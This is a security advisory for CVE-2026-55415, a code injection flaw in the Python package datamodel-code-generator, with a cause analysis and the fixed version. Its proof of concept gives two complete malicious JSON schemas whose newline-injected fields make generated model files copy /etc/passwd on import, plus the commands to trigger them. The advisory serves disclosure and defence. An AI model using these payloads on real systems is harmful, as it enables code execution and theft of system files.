high · 7.5CVE-2026-55415Jul 28, 2026

CVE-2026-55415: datamodel-code-generator Code Injection via x-python-import and customTypePath

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A malicious OpenAPI or JSON Schema file can embed arbitrary Python code into generated model files, which then executes automatically the moment anyone imports those models.

Packagedatamodel-code-generator
Ecosystempip
Affected>= 0.11.6, <= 0.63.0
Fixed in0.64.0
CVE-2026-55415: datamodel-code-generator Code Injection via x-python-import and customTypePath

The problem

datamodel-code-generator versions 0.11.6 through 0.63.0 pass the x-python-import extension and the customTypePath field directly into generated from ... import ... statements without any validation.

A newline character embedded in the name or customTypePath value breaks out of the import line and plants an attacker-controlled Python statement at module scope. That statement runs at import time, giving the attacker arbitrary code execution on any machine that imports the generated file.

Proof of concept

A working proof-of-concept for CVE-2026-55415 in datamodel-code-generator, with the exact payload below.

json
// payload_a.json -- triggers via x-python-import
{
  "type": "object",
  "title": "Root",
  "required": ["f"],
  "properties": { "f": { "$ref": "#/$defs/Evil" } },
  "$defs": {
    "Evil": {
      "type": "object",
      "x-python-import": {
        "module": "os",
        "name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
      }
    }
  }
}

// Generate then trigger:
// datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
// python -c "import model"

// Resulting model.py contains at module scope:
// from os import getcwd
// print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')

// payload_b.json -- triggers via customTypePath
{
  "type": "object",
  "title": "Root",
  "required": ["f"],
  "properties": {
    "f": {
      "type": "object",
      "customTypePath": "os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep='',end='')"
    }
  }
}

The root sink is Import.from_full_path in imports.py. It splits the input only on . and passes every other character through unchanged, including newlines. create_line then renders the result verbatim into a from {from_} import {imports} string.

With name set to getcwd\nprint(...), the dot-split produces from_='os' and import_='getcwd\nprint(...)'. The rendered line becomes two lines of valid Python: the legitimate import, then the attacker's statement.

The constraint is trivially satisfied: the injected expression must contain no literal dot. Builtins like open, print, and __import__ all qualify. The v0.61.0 security release (commit aec47bc4 and siblings) added _validate_dotted_python_identifier_path for the validators sink and types.is_python_type_annotation for x-python-type, but neither x-python-import nor customTypePath was checked, leaving these two paths into the same code-generation sink completely unguarded.

This is CWE-94 / CWE-95.

The fix

Upgrade to datamodel-code-generator 0.64.0 (commit 577d49569c2254c371a97e495020ae2238a73b84). The fix validates every dotted segment of module, name, and customTypePath as a proper Python identifier (reusing the existing _validate_dotted_python_identifier_path helper) before those values reach Import.from_full_path.

Values that are not valid dotted identifiers are now rejected at parse time, preventing injection into the generated import statements.

Reported by Hamza Haroon (thegr1ffyn).

References: [1][2][3][4]

Related research